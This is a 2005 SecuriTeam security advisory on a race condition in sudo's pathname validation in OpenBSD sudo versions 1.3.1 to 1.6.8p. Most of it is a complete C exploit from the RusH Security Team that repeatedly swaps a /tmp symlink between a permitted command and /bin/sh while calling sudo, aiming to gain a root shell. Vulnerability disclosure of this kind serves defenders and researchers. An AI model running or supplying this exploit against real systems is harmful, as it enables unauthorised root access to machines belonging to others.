[UNIX] sudo Pathname Validation Race Condition (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/06/05

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Date: 6 Jul 2005 15:04:29 +0200

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      sudo Pathname Validation Race Condition (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    sudo (superuser do) is "a program written for UNIX, Linux, and similar
    operating systems that allows users to run programs in the guise of
    another user (normally in the guise of the system's superuser)". A race
    condition in sudo whenever it tries to validates file pathname allows
    local attackers to gain elevated privileges.

    DETAILS

    Vulnerable Systems:
     * OpenBSD sudo versions 1.3.1 - 1.6.8p

    Exploit:
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sysexits.h>
    #include <sys/wait.h>

    #define SUDO "/usr/bin/sudo"
    #ifdef BUFSIZ
      #undef BUFSIZ
      #define BUFSIZ 128
    #endif

    /*
    ANY MODIFIED REPUBLISHING IS RESTRICTED
    OpenBSD sudo 1.3.1 - 1.6.8p local root exploit
    Tested under OpenBSD 3.6 sudo 1.6.7p5
    Vuln by OpenBSD errata, http://www.openbsd.org/errata.html
    (c)oded by __blf 2005 RusH Security Team, http://rst.void.ru
    Race condition in path name, can take a while to exploit
    Gr33tz: x97Rang, whice, rsh, MishaSt, Inck-Vizitor, BlackPrince
    Fck lamerz: Saint_I, nmalykh
    All rights reserved.
    ANY MODIFIED REPUBLISHING IS RESTRICTED
    */

    int main (int argc, char ** argv)
    {
      pid_t pid;
      void * buffer;
      char * exec, * race, * path;
      if(argc != 3)
      {
        fprintf(stderr, "r57sudo.c by __blf\n");
        fprintf(stderr, "RusH Security Team\n");
        fprintf(stderr, "Usage: %s <sudo full path command> <sudo command>\n",
        argv[0]);
        fprintf(stderr, "e.g. ./r57sudo /bin/ls ls\n");
        return EX_USAGE;
      }
      pid = fork();
      if(pid == 0)
      {
        while(1)
        {
          exec = (char *)calloc(BUFSIZ, sizeof(char));
          race = (char *)calloc(BUFSIZ, sizeof(char));
          bzero(exec, sizeof(exec));
          snprintf(exec, BUFSIZ, "ln -fs %s /tmp/%s", argv[1], argv[2]);
          system((char *)exec);
          bzero(race, sizeof(race));
          snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);
          system((char *)race);
          bzero(race, sizeof(race));
          snprintf(race, BUFSIZ, "ln -fs /bin/sh /tmp/%s", argv[2]);
          system((char *)race);
          bzero(race, sizeof(race));
          snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);
          system((char *)race);
        }
      }
      if(pid > 0)
      {
        while(1)
        {
          path = (char *)calloc(BUFSIZ/2, sizeof(char));
          snprintf(path, BUFSIZ/2, "%s /tmp/%s", SUDO, argv[2]);
          system((char *)path);
        }
      }
    }

    ADDITIONAL INFORMATION

    The original article can be found at:
    <http://rst.void.ru/download/r57sudo.c>
    http://rst.void.ru/download/r57sudo.c
    The information has been provided by <mailto:http://rst.void.ru> __blf.

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